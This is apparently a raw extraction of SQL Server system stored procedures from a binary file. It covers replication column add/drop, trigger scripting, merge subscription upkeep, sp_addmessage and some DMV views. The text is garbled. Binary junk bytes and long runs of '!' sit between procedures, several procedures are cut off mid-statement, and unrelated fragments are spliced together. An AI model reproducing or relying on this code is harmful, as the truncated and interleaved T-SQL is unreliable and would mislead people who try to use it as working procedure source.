        declare #trancolumn CURSOR LOCAL FAST_FORWARD for 
            select a.artid, p.name 
            from sysarticles a, syspublications p
            where a.objid=@objid
            and p.pubid = a.pubid

        open #trancolumn
        fetch #trancolumn into @tran_artid, @tran_pubname
        while (@@fetch_status <> -1)
        BEGIN
            select @tran_artname=name, @tran_pubid = pubid, @owner = dest_owner, @tablename = dest_table from sysarticles where artid=@tran_artid
            if(@force_reinit_subscription = 0)
            begin 
                if(@owner is not NULL) and (len(@owner) > 0)
                    select @qual_dest_object = QUOTENAME(@owner) + N'.' 
                else 
                    select @qual_dest_object = N'' 
                if(@tablename is not null) and (len(@tablename) > 0)
                    select @qual_dest_object = @qual_dest_object + QUOTENAME(@tablename)
                else 
                    select @qual_dest_object = @qual_source_object
                exec @retcode = sys.sp_MSrepl_schema @pubname = @tran_pubname 
                            ,@artid = @tran_artid
                            ,@qual_source_object = @qual_dest_object
                            ,@column = @column
                            ,@operation = 1 -- 0 is add, 1 is delete
                            ,@schema_change_script = @schema_change_script
                if @retcode <>0 or @@ERROR<>0
                    goto DROPTRAN
            end
            exec @retcode = sys.sp_MSreinit_article 
                            @publication = @tran_pubname
                            ,@article = @tran_artname
                            ,@need_new_snapshot = @force_invalidate_snapshot
                            ,@need_reinit_subscription = @force_reinit_subscription
                            ,@force_invalidate_snapshot = @force_invalidate_snapshot
                            ,@force_reinit_subscription = @force_reinit_subscription
            if @retcode <>0 or @@ERROR<>0
                goto DROPTRAN
            fetch #trancolumn into @tran_artid, @tran_pubname            
        END
        close #trancolumn
        deallocate #trancolumn

        exec @retcode = sp_replincrementlsn @schema_end_lsn OUTPUT
        if @@ERROR<>0 or @retcode <> 0
            goto FAILURE
        if (@schema_start_lsn is not null) and (@schema_end_lsn is not null)
        begin
                insert systranschemas (tabid, startlsn, endlsn, typeid) values (@objid, @schema_start_lsn, @schema_end_lsn, 51)
                if @@ERROR<>0
                    goto FAILURE
                exec @retcode = sys.sp_replflush @objid, @schema_start_lsn, @schema_end_lsn
                if @@ERROR<>0 or @retcode <> 0
                    goto FAILURE
        end
        else
            goto FAILURE
    end
end

if @contextset=1
begin
    EXEC @retcode = sys.sp_MSsetcontext_bypasswholeddleventbit @onoff=0
end

if @got_merge_admin_applock=1
    exec sys.sp_MSreleasemergeadminapplock @lockowner = N'Transaction'

COMMIT TRAN
-- delete ##MS_internal_old_style_DDL_support_being_used where db_name=db_name() and objid=@objid

return (0)

DROPTRAN:
CLOSE #trancolumn
DEALLOCATE #trancolumn
GOTO FAILURE

INNER_FAIL:
CLOSE #dropcolumn
DEALLOCATE #dropcolumn
GOTO FAILURE

INNER_FAIL2:
CLOSE #dropcolumn_schema
DEALLOCATE #dropcolumn_schema
GOTO FAILURE


ERROR_EXIT:
CLOSE #nosnapshot
DEALLOCATE #nosnapshot

FAILURE:
    if @contextset=1
    begin
            EXEC @retcode = sys.sp_MSsetcontext_bypasswholeddleventbit @onoff=0
    end
    if @got_merge_admin_applock=1
        exec sys.sp_MSreleasemergeadminapplock @lockowner = N'Transaction'
    rollback tran sp_repldropcolumn
    commit tran
    raiserror(21284, 16, -1, @column, @source_object)
    return (1)    
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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umn(
    @source_object            nvarchar (358),
    @column                    sysname,
    @typetext                nvarchar(3000),
    @publication_to_add        nvarchar(4000) = 'all',
    @from_agent                int = 0, 
    @schema_change_script    nvarchar(4000) = NULL,
    @force_invalidate_snapshot bit = 1,    /* Force invalidate existing snapshot */
    @force_reinit_subscription bit = 0    /* Force reinit subscription */
)
as
set nocount on
declare @objid          int
declare @pubid          uniqueidentifier
declare @retcode        int
declare @partitioned    int
declare @at_publisher   bit
declare @pubname        sysname
declare @artname        sysname
declare @colid          int
declare @tablename      sysname
declare @artid          uniqueidentifier
declare @tran_artid     int
declare @tran_pubid     int
declare @schematext     nvarchar(4000)
declare @schemaversion  int
declare @schematype     int
declare @schemaguid     uniqueidentifier
declare @conflict_table sysname
declare @ins_conflict_proc nvarchar(258)
declare @publisher      sysname
declare @qual_column    nvarchar(258)
declare @publisher_db   sysname
declare @command        nvarchar(max)
declare @sync_objid     int
declare @con_id         int
declare @owner          sysname
declare @dest_owner     sysname
declare @dest_object    nvarchar(517)
declare @merge_pub_object_bit int
declare @is_for_merge   bit                -- 1 if merge is on AND the table is published in a merge publication AND the publication is in @publivation_to_add list
declare @is_for_tran    bit
declare @not_for_merge  int            -- 0 if merge is on AND the table is published in a merge publication
declare @not_for_tran   int
declare @dbname         sysname
declare @servername     sysname
declare @no_publication bit
declare @no_schema_replication bit
declare @qual_source_object nvarchar(517)
declare @len            int
declare @prec           int
declare @scale int
declare @typename nvarchar(270)
declare @qual_dest_object nvarchar(517)
declare @invalid_datatype bit
declare @is_yukon_datatype bit
declare @xtype        int
declare @max_length   int
declare @iscomputed bit
declare @pass_to_heterogenious bit
declare @merge_pub_markcolumn_bit    int
declare @schema_start_lsn binary(10)
declare @schema_end_lsn binary(10)
declare @nickname        int
declare @columns_in_partition    int
declare @artnick int
declare @allow_initialize_from_backup bit
declare @is_timestamp_column bit
declare @is_identity_column bit
declare @is_identity_column_not_for_replication bit
        ,@BinVar varbinary(128)
declare @count              int
declare @DATATYPE_ID_UDT    int
declare @got_merge_admin_applock bit

select @got_merge_admin_applock = 0

/*
** Security Check
*/
EXEC @retcode = sys.sp_MSreplcheck_publish
IF @@ERROR <> 0 or @retcode <> 0
    return (1)


select @qual_column=QUOTENAME(@column)
select @merge_pub_markcolumn_bit = 0x4000

select @objid = object_id(@source_object)

-- check to see if this stored procedure is called via replication agent.
if sessionproperty('replication_agent')<>1
    select @from_agent = 0
else
    begin --if table does not exists and the SP is called from replication agent, ignore the error and exit with success.
        select @from_agent = 1
        if @objid is NULL
            return (0)
    end

if @objid is NULL
begin
    raiserror(14027, 16, -1, @source_object)
    return (1)
end

if exists (select * from sys.columns where object_id=@objid and name=@column)
begin
    if @from_agent=0
    begin
        raiserror(21255, 16, -1, @column, @source_object)
        return (1)
    end
    else
        return (0)
end


-- PARSENAME VARS
    declare        @UnqualName         sysname  --rightmost name node
    declare        @QualName1         sysname  
-- END PARSENAME VARS

    select @UnqualName = PARSENAME(@source_object, 1)
    select @QualName1 = PARSENAME(@source_object, 2)
    if @UnqualName IS NULL
         return 1
    if @QualName1 is not NULL
        select @owner = @QualName1
            else select @owner=schema_name(schema_id) from sys.objects where object_id = @objid
    select @tablename = @UnqualName

    select @qual_source_object = QUOTENAME(@owner) + '.' + QUOTENAME(@tablename)
select @no_schema_replication = 0
select @no_publication=0
select @servername=publishingservername()
select @dbname=db_name()
select @merge_pub_object_bit    = 128
select @not_for_merge = 0
select @not_for_tran = 0

if exists (select * from sys.objects where name='sysmergearticles')
begin
    -- the article can not be inside a republisher
    if @from_agent=0 and exists (select * from dbo.sysmergearticles where objid=@objid and pubid not in 
        (select pubid from dbo.sysmergepublications where LOWER(publisher)=LOWER(@servername) and publisher_db=@dbname))
    begin
        raiserror(21260, 16, -1, @dbname, @servername, @source_object)
        return (1)
    end
end

select @invalid_datatype=0
select @is_yukon_datatype=0
select @DATATYPE_ID_UDT = 240 --system_type_id for UDT.
-- signal to db ddl trigger to bail out
EXEC @retcode = sys.sp_MSsetcontext_bypasswholeddleventbit @onoff=1
IF @@ERROR <> 0 or @retcode <> 0
    RETURN(1)

/* the transaction below is just an experiment to validate type text */
BEGIN TRAN
SAVE TRANSACTION fake_move
    exec @retcode = sys.sp_MSunmarkreplinfo @object=@tablename, @owner=@owner
    if @retcode<>0 or @@ERROR<>0
    begin
        goto CHECKING_DONE
    end
    declare @temp_id        int
    declare @temp_colid        int
    select @is_identity_column = 0
    select @is_timestamp_column = 0
    select @is_identity_column_not_for_replication = 0
    exec ('alter table ' + @qual_source_object + ' add ' + @qual_column + ' ' + @typetext)
    select @temp_id = object_id(@qual_source_object)
    if @temp_id is NULL
    begin
        raiserror(21285, 16, -1, @column, @source_object)
        select @invalid_datatype = 1
        GOTO CHECKING_DONE
    end
    select @pass_to_heterogenious=0, @temp_colid = column_id, @xtype=system_type_id, @iscomputed=is_computed,
        @max_length = max_length
        from sys.columns where object_id = @temp_id and name=@column
    if @iscomputed <> 1 and type_name(@xtype) <> 'timestamp'
        select @pass_to_heterogenious=1
    if COLUMNPROPERTY(@temp_id, @column, 'IsIdentity') = 1
        select @is_identity_column = 1
    if type_name(@xtype) = 'timestamp'
        select @is_timestamp_column = 1
    if @is_identity_column = 1 and COLUMNPROPERTY(@temp_id, @column, 'IsIdNotForRepl') = 1
        select @is_identity_column_not_for_replication = 1
    if COLUMNPROPERTY(@temp_id, @column, 'IsIdentity') = 0
        and not exists (select * from sys.columns where object_id = @temp_id and name=@column and is_nullable=1)
        and not exists (select * from sysconstraints where id=@temp_id and colid=@temp_colid and OBJECTPROPERTY ( constid , 'IsDefaultCnst' ) = 1)
        and @iscomputed <> 1 and type_name(@xtype) <> 'timestamp'  --not computed column nor timestamp column
    begin
        select @invalid_datatype = 1
    end
    -- Check for yukon data type.
    if (@xtype = @DATATYPE_ID_UDT) OR ((@max_length = -1) and type_name(@xtype) in ('xml','varchar','nvarchar','varbinary'))
    begin
        select @is_yukon_datatype = 1
    end
CHECKING_DONE:
ROLLBACK TRANSACTION fake_move
COMMIT TRAN
if @invalid_datatype = 1
    begin
        raiserror(21285, 16, -1, @column, @source_object)
        return (1)
    end

select @is_for_merge = 0
select @is_for_tran = 0
if not exists (select * from sys.objects where name='sysmergepublications') and
    not exists (select * from sys.objects where name='syspublications')
begin
    raiserror(21230, 16, -1)
    return (1)
end

create table #tmp_table (name sysname collate database_de!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<a#S0ޚ =8
create procedure sys.sp_procedure_params_90_rowset2
(
    @procedure_schema   sysname = null,
    @parameter_name     sysname = null
)
as
    select
        PROCEDURE_CATALOG                     = s_pp.PROCEDURE_CATALOG,
        PROCEDURE_SCHEMA                      = s_pp.PROCEDURE_SCHEMA,
        PROCEDURE_NAME                        = s_pp.PROCEDURE_NAME,
        PARAMETER_NAME                        = s_pp.PARAMETER_NAME,
        ORDINAL_POSITION                      = s_pp.ORDINAL_POSITION,
        PARAMETER_TYPE                        = s_pp.PARAMETER_TYPE,
        PARAMETER_HASDEFAULT                  = s_pp.PARAMETER_HASDEFAULT,
        PARAMETER_DEFAULT                     = s_pp.PARAMETER_DEFAULT,
        IS_NULLABLE                           = s_pp.IS_NULLABLE,
        DATA_TYPE                             = s_pp.DATA_TYPE_90,
        CHARACTER_MAXIMUM_LENGTH              = s_pp.CHARACTER_MAXIMUM_LENGTH_90,
        CHARACTER_OCTET_LENGTH                = s_pp.CHARACTER_OCTET_LENGTH_90,
        NUMERIC_PRECISION                     = s_pp.NUMERIC_PRECISION,
        NUMERIC_SCALE                         = s_pp.NUMERIC_SCALE,
        DESCRIPTION                           = s_pp.DESCRIPTION,
        TYPE_NAME                             = s_pp.TYPE_NAME,
        LOCAL_TYPE_NAME                       = s_pp.LOCAL_TYPE_NAME,
        SS_XML_SCHEMACOLLECTION_CATALOGNAME   = s_pp.SS_XML_SCHEMACOLLECTION_CATALOGNAME,
        SS_XML_SCHEMACOLLECTION_SCHEMANAME    = s_pp.SS_XML_SCHEMACOLLECTION_SCHEMANAME,
        SS_XML_SCHEMACOLLECTIONNAME           = s_pp.SS_XML_SCHEMACOLLECTIONNAME,
        SS_UDT_CATALOGNAME                    = s_pp.SS_UDT_CATALOGNAME,
        SS_UDT_SCHEMANAME                     = s_pp.SS_UDT_SCHEMANAME,
        SS_UDT_NAME                           = s_pp.SS_UDT_NAME,
        SS_UDT_ASSEMBLY_TYPENAME              = s_pp.SS_UDT_ASSEMBLY_TYPENAME
    from
        sys.fn_procedure_params_90_rowset2(
          @procedure_schema,
          @parameter_name) s_pp

    order by 2, 3, 5
06@ 	8create procedure sys.sp_MSscript_sync_upd_trig (
    @objid        int,
    @publisher    sysname,
    @publisher_db sysname,
    @publication  sysname, 
    @trigname     sysname,
    @procname     sysname,
    @proc_owner   sysname,
    @cftproc      sysname,
    @agent_id      int, 
    @identity_col sysname = NULL,
    @ts_col       sysname = NULL,
    @filter_clause nvarchar(4000),
    @primary_key_bitmap  varbinary(4000),
    @pubversion int = 1,
    @falter bit = 0 -- if 1 script alter, otherwise script create
)
as
BEGIN
    declare @colname      sysname
        ,@cmd          nvarchar(4000)
        ,@ins_cmd      nvarchar(4000)
        ,@outvars      nvarchar(4000)
        ,@rc           int
        ,@qualname     nvarchar(517)
        ,@fisqueued       bit

    set nocount on
    --
    -- security check
    --
    exec @rc = sys.sp_MSreplcheck_subscribe
    if @@error <> 0 or @rc <> 0
        return (1)
    exec sys.sp_MSget_qualified_name @objid, @qualname OUTPUT
    if (LOWER(@cftproc) = N'null')
    begin
        select @fisqueued =  0
            ,@cftproc = NULL
    end
    else 
        select @fisqueued =  1

    if @ts_col in ('null','NULL')
        select @ts_col = null

    if @identity_col in ('null','NULL')
        select @identity_col = null

    -- Create temp table
    create table #proctext ( c1 int identity NOT NULL, procedure_text nvarchar(4000) collate database_default null)

    -- 1st preamble common to all synctran procs
    exec sys.sp_MSscript_begintrig1 @publisher, @publisher_db, @publication, @trigname, @objid, @procname, @filter_clause, 'upd', @fisqueued, @falter, @agent_id

    -- 2nd preamble common to all synctran procs
    exec sys.sp_MSscript_begintrig2 @publisher, @publisher_db, @publication, @objid, 'upd',@agent_id, @fisqueued

    -- script single row handling
    exec @rc = sys.sp_MSscript_singlerow_trigger @objid,@publisher, @publisher_db, @publication, @procname, @proc_owner, 
            @cftproc, @identity_col, @ts_col, 'upd', @primary_key_bitmap, @pubversion

    -- script multi-row handling
    exec @rc = sys.sp_MSscript_multirow_trigger @objid,@publisher, @publisher_db, @publication, @procname, @proc_owner, 
    @cftproc, @identity_col, @ts_col, 'upd', @primary_key_bitmap, @pubversion

    -- script end of trigger
    exec sys.sp_MSscript_endtrig 

    -- send fragments to client
    select procedure_text from #proctext order by c1 asc
END
0ݜ 
8create procedure sys.sp_get_job_status_mergepullsubscription_agent
(
    @publisher      sysname,
    @publisher_db   sysname,
    @publication    sysname,
    @runstatus         int output  
)
as
begin
    set nocount on
    declare @retcode            int
    declare @job_id             uniqueidentifier
    declare @subscription_type  int
    declare @pubid              uniqueidentifier
    declare @subscriber         sysname
    declare @subscriber_db      sysname

    set @retcode = 0
    set @job_id = null
    set @subscription_type = null
    set @subscriber = @@servername
    set @subscriber_db = db_name()    

	select @runstatus  = NULL

    if object_id('dbo.sysmergepublications') is null
    begin
        raiserror (20017, 16, -1)
        return 1
    end

    select @pubid = pubid 
      from dbo.sysmergepublications
     where name = @publication
       and upper(publisher) = upper(@publisher)
       and publisher_db = @publisher_db
    if @pubid is null
    begin
        raiserror (20026, 16, -1, @publication)
        return 1
    end
    
    select @subscription_type = subscription_type
      from dbo.sysmergesubscriptions
     where upper(subscriber_server) = upper(@subscriber)
       and pubid <> subid
       and pubid = @pubid
       and db_name = @subscriber_db
    if @subscription_type is null or @subscription_type = 0
    begin
        raiserror (20017, 16, -1)
        return 1
    end

    if object_id('dbo.MSsubscription_properties') is not null
    begin
        select @job_id = sjs.job_id
          from MSsubscription_properties sp
    inner join msdb.dbo.sysjobsteps sjs
            on sp.job_step_uid = sjs.step_uid
    inner join msdb.dbo.sysjobs_view sjv
            on sjv.job_id = sjs.job_id
         where upper(publisher) = upper(@publisher)
           and publisher_db = @publisher_db
           and publication = @publication              
           and sjv.master_server = 0
           and sjv.category_id = 14
           and sjs.subsystem = N'Merge'
           and (sjs.database_name is null or sjs.database_name = db_name())
    end

    if @job_id is null
    begin
        -- "The specified pull subscription is not configured with a synchronization agent job."
        raiserror(21848, 16, -1)
        return 1
    end

	-- this table we hold only single row
    declare @job_info table( 
		 runstatus 	int,
		 message 		nvarchar(1024),
		 date 			int,		
		 time 			int,		
		 datetime		nvarchar(50)		 	
		)
		

	insert into @job_info exec sp_MSenum_replication_job @job_id=@job_id
	select top 1 @runstatus=runstatus from @job_info

end
0| 8 
-- add it
create view sys.dm_pdw_nodes_os_child_instances as
select *, convert(int, null) pdw_node_id from sys.dm_os_child_instances
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!0`"	<c
r.B20QVV 8create procedure sys.sp_addmessage
	@msgnum int = null,				-- Number of new message.
	@severity smallint = null,		-- Severity of new message.
	@msgtext nvarchar(255) = null,	-- Text of new message.
	@lang sysname = null,			-- language (name) of new message
	@with_log varchar(5) = null,	-- Whether the message will ALWAYS go to the NT event log
	@replace varchar(7) = null		-- Optional parameter to specify that
									-- existing message with same number should be overwritten.
as
	declare @retcode int
	declare @langid	smallint,
			@msglangid smallint
	declare @islog bit

	-- Must be ServerAdmin to manage messages
	if is_srvrolemember('serveradmin') = 0
	begin
		raiserror(15247,-1,-1)
		return (1)
	end

	if @msgnum is null or @severity is null or @msgtext is null
	begin
		raiserror(15071,-1,-1)
		return (1)
	end

	-- User defined messages must be > 50000.
	if @msgnum <= 50000
	begin
		raiserror(15040,-1,-1)
		return (1)
	end

	-- Valid severity range for user defined messges is 1 to 25.
	if @severity not between 1 and 25
	begin
		raiserror(15041,-1,-1)
		return (1)
	end

	-- Verify the language
	if @lang is not null
	begin
		-- Check to see if this language is in Syslanguages.
		if not exists (select * from sys.syslanguages where name = @lang or alias = @lang)
			and @lang <> N'us_english'
		begin
			raiserror(15033,-1,-1,@lang)
			return (1)
		end
	end
	else
		select @lang = @@language

	-- Get langid from syslanguages; us_english won't exist, so use 0.
	select @langid = langid, @msglangid = msglangid
		from sys.syslanguages where name = @lang or alias = @lang

	select @langid = isnull(@langid, 0)
	select @msglangid = isnull(@msglangid, 1033)

	--  Set the event log bit accordingly
	select @islog = (case rtrim(upper(@with_log))
			when 'TRUE' then 1
			when 'FALSE' then 0
			end)
	if @islog is null
	begin
		-- @with_log must be 'TRUE' or 'FALSE' or Null
		if not (@with_log is null)
		begin
			raiserror(15271,-1,-1)
			return (1)
		end
		if @langid = 0	-- backward compatible
			select @islog = 0
	end

	if @replace is not null
	begin
		if lower(@replace) <> 'replace'
		begin
			raiserror(15043,-1,-1)
			return (1)
		end
	end

	BEGIN TRANSACTION
	-- If this message not exists, lock ID anyway
	EXEC %%ErrorMessage(ID = @msgnum).Lock(Exclusive = 1)

	-- If we're adding a non-us_english message, make sure the us_english version already exists.
	if (@langid <> 0) and not exists (select * from sys.messages$ where message_id=@msgnum and language_id = 1033)
	begin
		COMMIT TRANSACTION
		raiserror(15279,-1,-1,@lang)
		return(1)
	end

	-- If we're adding a non-us_english message, make sure that the severity matches that of the us_english version
	if (@langid <> 0 ) and not exists (select * from sys.messages$ where message_id=@msgnum and severity=@severity and language_id = 1033)
	begin
		COMMIT TRANSACTION
		declare @us_english_severity smallint
		select @us_english_severity = severity from sys.messages$ where message_id=@msgnum and language_id = 1033
		raiserror(15304,-1,-1,@lang,@us_english_severity)
		return (1)
	end

	-- Warning: If we're adding a non-us_english message, ignore @with_log
	if not (@islog is null) and (@langid <> 0)
		raiserror(15042,-1,-1)
	
	-- Does this message already exist?
	if exists (select * from sys.messages$ where message_id=@msgnum and language_id=@msglangid)
	begin
		-- if so, are we REPLACEing it?
		if lower(@replace) = 'replace'
		begin
			EXEC %%ErrorMessage(ID = @msgnum).RemoveMessage(LanguageID = @msglangid)
			-- Sync non-us_english msg severity and eventlog with us_english version
			if @langid = 0
			begin
				EXEC %%ErrorMessage(ID = @msgnum).SetSeverity(Severity = @severity)
				EXEC %%ErrorMessage(ID = @msgnum).SetEventLog(EventLog = @islog)
			end
		end
		else
		begin
			COMMIT TRANSACTION
			-- The 'replace' option wasn't specified and a msg. with the number already exists.
			raiserror(15043,-1,-1)
			return(1)
		end
	end
	else
	begin
		-- initialize us_english version
		if @langid = 0
			EXEC %%ErrorMessage().NewError(ID = @msgnum, Severity = @severity, EventLog = @islog)
	end

	-- set default for islog if not set for trigger firing purposes
	if @with_log is null
	begin
		set @with_log = 'FALSE'
	end

	declare @msg_str nvarchar(50)
	set @msg_str = @msgnum

	-- Update/replace the message
	EXEC %%ErrorMessage(ID = @msgnum).NewMessage(LanguageID = @msglangid, Description = @msgtext)

	-- EMDEventType(x_eet_Create_Message), EMDUniversalClass( x_eunc_Type), src major id, src minor id, src name
	-- -1 means ignore target stuff, target major id, target minor id, target name,
	-- # of parameters, 5 parameters
	EXEC %%System().FireTrigger(ID = 227, ID = 106, ID = @msgnum, ID = 0, Value = @msg_str,
		ID = -1, ID = 0, ID = 0, Value = NULL, 
		ID = 6, Value = @msgnum, Value = @severity, Value = @msgtext, Value = @lang, Value = @with_log, Value = @replace, Value = NULL)

	COMMIT TRANSACTION

	return (0) -- sp_addmessage
0n6Y 8create procedure sys.sp_MSunmarkreplinfo(
    @object                sysname,            /* Name of the table, unqualitied */
    @owner                sysname = NULL,            /* Name of the owner, unqualified */
    @type                smallint = 0        /* default is to unmark, as name implies */
)AS
    declare @id    int
    declare @qualified_name            nvarchar(517)
    declare @retcode                int

    exec @retcode = sys.sp_MSreplcheck_subscribe_withddladmin
    if @@error<>0 or @retcode<>0
        return (1)

    if @owner is NULL or @owner=''
        select @owner = schema_name(schema_id) from sys.objects where name=@object
    select @qualified_name = QUOTENAME(@owner) + '.' + QUOTENAME(@object) 

    if object_id(@qualified_name, 'U') is NULL
        return 0

    BEGIN TRANSACTION
    select @id = object_id(@qualified_name)
    if not (@id is null)
    begin
        EXEC %%Object(MultiName = @qualified_name).LockMatchID(ID = @id, Exclusive = 1, BindInternal = 0)
--EXEC %%Object(MultiName = @qualified_name).LockExclusiveMatchID(ID = @id)
        if @@error <> 0
            select @id = null
    end

    if not (@id is null)
    begin
        if @type = 0    /* type = 0, unmark; else mark the bit */
            EXEC %%Relation(ID = @id).SetMergePublished(Value = 0, SetColumns = 1)
        else
            EXEC %%Relation(ID = @id).SetMergePublished(Value = 1, SetColumns = 1)
    end
    COMMIT TRANSACTION
0W@ =8CREATE PROCEDURE sys.sp_MSadd_subscription_3rd
(
    @publisher sysname,
    @publisher_db sysname,
    @publication sysname,
    @subscriber sysname,       
    @subscriber_db sysname = NULL,
    @status tinyint,                    -- 0 = inactive, 1 = subscribed, 2 = active 
    @subscription_type tinyint = 0,     -- 0 = push, 1 = pull, 2 = anonymous 
    @sync_type tinyint = 2,             -- 0 = none  1 = automatic snaphot  2 = no intial snapshot
    @frequency_type int = NULL,
    @frequency_interval int = NULL,
    @frequency_relative_interval int = NULL,
    @frequency_recurrence_factor int = NULL,
    @frequency_subday int = NULL,
    @frequency_subday_interval int = NULL,
    @active_start_time_of_day int = NULL,
    @active_end_time_of_day int = NULL,
    @active_start_date int = NULL,
    @active_end_date int = NULL,
    @distribution_jobid binary(8) = NULL OUTPUT
)
AS
BEGIN
	-- 'sp_MSadd_subscription_3rd' is no longer supported. 
	RAISERROR(21023, 16, -1, 'sp_MSadd_subscription_3rd')
	RETURN 1
END
0V 18create function [sys].[fn_cdc_capture_instance_exists]
(
	@capture_instance	sysname
)
returns bit
as
begin
	if exists (
			select top 1 capture_instance
			from [cdc].[change_tables]
			where capture_instance = @capture_instance ) 
			return 1
	return 0
end	
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!h`
<.'07v 8 
-- add it
create view sys.dm_pdw_nodes_os_wait_stats as
select *, convert(int, null) pdw_node_id from sys.dm_os_wait_stats
0%?w 8create procedure sys.sp_MSreset_attach_state 
(
    @publisher      sysname,                    -- publishing server name
    @publisher_db   sysname,                    -- publishing database name. If NULL then same as current db
    @publication    sysname,                    -- publication name,
    @subscription_type int
)
AS
BEGIN
    set nocount on
    declare  @retcode int
                ,@agent_id int

    --
    --  Security Check
    --
    EXEC @retcode = sys.sp_MSreplcheck_subscribe
    IF @@ERROR <> 0 or @retcode <> 0
        RETURN(1)
    --
    -- For non independent agent publications
    --
    if @publication is null or @publication = ''
        select @publication = 'ALL'
    --
    -- complete the operation in a transaction
    --
    begin transaction
    --
    -- Processing specific to Queued updating subscriptions
    --
    select @agent_id = id
    from dbo.MSsubscription_agents 
    where UPPER(publisher) = UPPER(@publisher)
        and publisher_db =  @publisher_db
        and publication = @publication
        and subscription_type = @subscription_type
        and update_mode in (2,3,4,5)
    if (@agent_id is not null)
    begin
        --
        -- reinitialize the queue for each article in this subscription
        --
        declare @artid int        
        declare #hc_article CURSOR LOCAL FORWARD_ONLY for 
            select artid 
            from dbo.MSsubscription_articles 
            where agent_id = @agent_id
        open #hc_article
        fetch #hc_article into @artid
        while (@@fetch_status != -1)
        begin        
            --
            -- we cannot have an NULL article id
            --
            if (@artid IS NULL)
            begin
                raiserror(20046, 16, 1)
                goto failure
            end
            --
            -- reset the queue
            --
            exec @retcode = sys.sp_MSreset_queue @publisher, @publisher_db, @publication, @artid
            IF (@retcode != 0 or @@ERROR != 0)
            begin
                raiserror(21465, 16, 1, 'sp_MSreset_queue')
                goto failure
            end
            --
            -- fetch next article
            --
            fetch #hc_article into @artid
        end -- while cursor
        close #hc_article
        deallocate #hc_article
    end -- end processing queued subscription
    --
    -- Update the attach state
    --
    update MSsubscription_agents 
    set attach_state = 0
    where UPPER(publisher) = UPPER(@publisher)
        and publisher_db =  @publisher_db
        and publication = @publication
        and subscription_type = @subscription_type
    if (@@error != 0)
        goto failure
    --
    -- All done 
    -- commit the transaction
    --
    commit transaction
    return (0)
failure:
    --
    -- Rollback transaction
    --
    if (@@trancount > 0)
        rollback transaction
    return (1)
END
>0 goto error

            end
            
            if not exists(select * from sysindexes where name = 'unc1MSmerge_subscriptions' 
                AND id = OBJECT_ID('MSmerge_subscriptions'))
            begin
                CREATE UNIQUE INDEX unc1MSmerge_subscriptions ON dbo.MSmerge_subscriptions
                    (subscriber, subscriber_db, publisher_id, publisher_db, publication_id)
                if @@error<>0 goto error

            end
        END
    
        if NOT EXISTS (select * from sys.columns where name = 'subscriber_version' and object_id=object_id('MSmerge_subscriptions'))
        BEGIN         
            ALTER TABLE MSmerge_subscriptions ADD subscriber_version int NULL
            if @@error<>0 goto error
        END
    end
    
    IF object_id('MSmerge_agents') is not NULL 
    begin
        update dbo.MSmerge_agents set subscriber_name =
            (select srvname from master.dbo.sysservers where srvid = MSmerge_agents.subscriber_id)
        where subscriber_name is null
        if @@error<>0 goto error
    end

    IF object_id('dbo.MSmerge_sessions') is not NULL
    BEGIN
        if NOT EXISTS (select * from sys.columns where name = 'prepare_snapshot_time' and object_id=object_id('dbo.MSmerge_sessions'))
        begin
            ALTER TABLE dbo.MSmerge_sessions ADD prepare_snapshot_time int NOT NULL default 0
            if @@error<>0 goto error
        end
        
        if NOT EXISTS (select * from sys.columns where name = 'spid' and object_id=object_id('MSmerge_sessions'))
        BEGIN
            ALTER TABLE MSmerge_sessions ADD spid smallint NULL, spid_login_time datetime NULL
            if @@error<>0 goto error
        END
    END

    commit transaction
    return 0
error:
    rollback tran MSmerge_subscriptions_upgrade
    commit tran
    raiserror(25003, 16, -1)
    return 1
end    
